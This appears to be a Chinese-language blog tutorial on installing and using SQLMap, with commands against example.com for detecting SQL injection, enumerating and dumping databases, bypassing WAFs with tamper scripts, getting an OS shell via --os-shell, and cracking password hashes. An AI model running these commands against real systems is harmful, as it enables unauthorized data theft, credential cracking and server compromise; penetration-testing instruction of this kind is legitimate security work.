SQLMap
1. 安装 SQLMap
1.1 使用 Git 克隆 SQLMap
SQLMap 是一个 Python 编写的开源工具,因此你首先需要安装 Python 环境。然后你可以通过 Git 克隆 SQLMap 的代码库。
安装步骤:
-
克隆仓库:
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev -
进入 SQLMap 目录:
cd sqlmap-dev -
执行 SQLMap:
SQLMap 是用 Python 编写的,你只需执行 Python 脚本即可:
python sqlmap.py
1.2 直接下载
你也可以直接从 SQLMap 的 GitHub 页面 下载 SQLMap 的压缩包,然后解压到本地。
2. SQLMap 基础使用
2.1 执行基本测试
SQLMap 的最简单的用法是检测目标 URL 中是否存在 SQL 注入漏洞。我们以一个简单的 URL 举例,假设它是一个 Web 应用的搜索页面,其中通过 id 参数来传递值:
http://example.com/product.php?id=1
我们可以使用 SQLMap 来检测这个 URL 是否存在 SQL 注入漏洞。SQLMap 会尝试在该 URL 中注入 SQL 代码,看看应用程序是否存在漏洞。
命令:
python sqlmap.py -u "http://example.com/product.php?id=1" --batch
解释:
-
-u参数后面跟的是目标 URL。 -
--batch参数是指自动接受 SQLMap 的默认选择,避免交互式提示,适用于自动化任务。
SQLMap 会自动判断该 URL 是否存在 SQL 注入漏洞,并返回相关信息。
2.2 POST 请求测试
许多现代 Web 应用程序使用 POST 请求来提交表单数据,SQLMap 同样支持对 POST 请求进行 SQL 注入测试。假设你有一个登录表单,提交 username 和 password 参数,示例如下:
POST http://example.com/login.php
username=admin&password=1234
你可以使用 SQLMap 来测试该表单的 SQL 注入漏洞。用 --data 参数指定 POST 请求数据。
命令:
python sqlmap.py -u "http://example.com/login.php" --data="username=admin&password=1234" --batch
解释:
-
--data="username=admin&password=1234":指定 POST 请求的数据,这里是用户名和密码。
SQLMap 会发送该数据并测试是否存在 SQL 注入漏洞。
2.3 使用 Cookies 进行身份验证
如果目标应用需要登录才能访问特定页面,你可以使用 --cookie 参数传递身份验证的 Cookie 值。例如,如果目标应用使用 PHP 会话,Session Cookie 可以像这样传递:
命令:
python sqlmap.py -u "http://example.com/dashboard.php" --cookie="PHPSESSID=abc123" --batch
解释:
-
--cookie="PHPSESSID=abc123":指定 Cookie 参数,通常用于绕过认证或维持会话状态。
SQLMap 会使用该 Cookie 进行 SQL 注入测试。
2.4 使用 Headers 进行注入测试
如果你的请求需要通过 HTTP 头部传递额外的信息,例如 User-Agent 或 Referer,你可以使用 --headers 参数来传递它们。
命令:
python sqlmap.py -u "http://example.com/search.php?q=test" --headers="User-Agent: Mozilla/5.0" --batch
3. 高级功能和参数
3.1 列出数据库、表和列
SQLMap 允许你获取目标数据库的详细信息,包括数据库名、表名、列名以及表中的数据。
-
列出数据库:
python sqlmap.py -u "http://example.com/product.php?id=1" --dbs --batch解释:
-
--dbs:列出数据库名。
-
-
列出表:
假设你已经知道数据库名,接下来列出该数据库中的表:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> --tables --batch解释:
-
-D <database_name>:指定要操作的数据库名。 -
--tables:列出数据库中的所有表。
-
-
列出列:
如果你已经知道表名,接下来列出表中的列:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> -T <table_name> --columns --batch解释:
-
-T <table_name>:指定表名。 -
--columns:列出表中的列。
-
-
获取数据:
一旦列出表的列,可以进一步获取数据:
python sqlmap.py -u "http://example.com/product.php?id=1" -D <database_name> -T <table_name> --dump --batch解释:
-
--dump:从指定的表中导出数据。
-
3.2 使用不同的注入技术
SQLMap 支持多种 SQL 注入技术,包括盲注(Blind)、错误注入(Error-based)、联合查询注入(Union-based)等。SQLMap 会根据实际情况自动选择最合适的注入技术。
如果你知道目标应用程序可能受到某种类型的 SQL 注入攻击,你可以通过 --technique 参数手动指定注入技术。
-
盲注:
python sqlmap.py -u "http://example.com/product.php?id=1" --technique=B --batch解释:
-
--technique=B:强制使用盲注(Blind Injection)。
-
-
时间盲注:
python sqlmap.py -u "http://example.com/product.php?id=1" --technique=T --batch解释:
-
--technique=T:使用时间盲注。
-
3.3 绕过防火墙和 WAF
许多 Web 应用程序会使用 Web 应用防火墙(WAF)来防止 SQL 注入。SQLMap 提供了 --tamper 参数,可以绕过这些防护。
-
绕过 WAF:
python sqlmap.py -u "http://example.com/product.php?id=1" --tamper=space2comment --batch解释:
-
--tamper=space2comment:这个tamper脚本将空格转换为 SQL 注释,可能帮助绕过一些 WAF 规则。
-
3.4 获取操作系统命令执行权限
如果目标数据库配置不当且 SQL 注入漏洞严重,SQLMap 还可以利用该漏洞获取操作系统命令执行权限。
-
获取操作系统 Shell:
python sqlmap.py -u "http://example.com/product.php?id=1" --os-shell --batch解释:
-
--os-shell:尝试获取操作系统 shell,允许执行系统命令。
-
3.5 暴力破解密码
如果你通过 SQL 注入漏洞得到了用户表并且其中包含密码哈希,SQLMap 可以尝试进行暴力破解。
-
暴力破解哈希:
python sqlmap.py -u "http://example.com/product.php?id=1" --dump -D <database_name> -T users --passwords --batch解释:
-
--passwords:要求 SQLMap 在--dump过程中也导出密码字段。 -
SQLMap 会通过字典攻击等方式暴力破解密码。
-
4. SQLMap 的常见参数
| 参数 | 说明 |
|---|---|
-u <url> | 指定目标 URL |
--data=<data> | 指定 POST 请求的数据 |
--cookie=<cookie> | 指定 HTTP Cookies |
-D <database> | 指定操作的数据库 |
-T <table> | 指定操作的表 |
--technique | 强制使用特定的 SQL 注入技术 |
4万+

被折叠的 条评论
为什么被折叠?



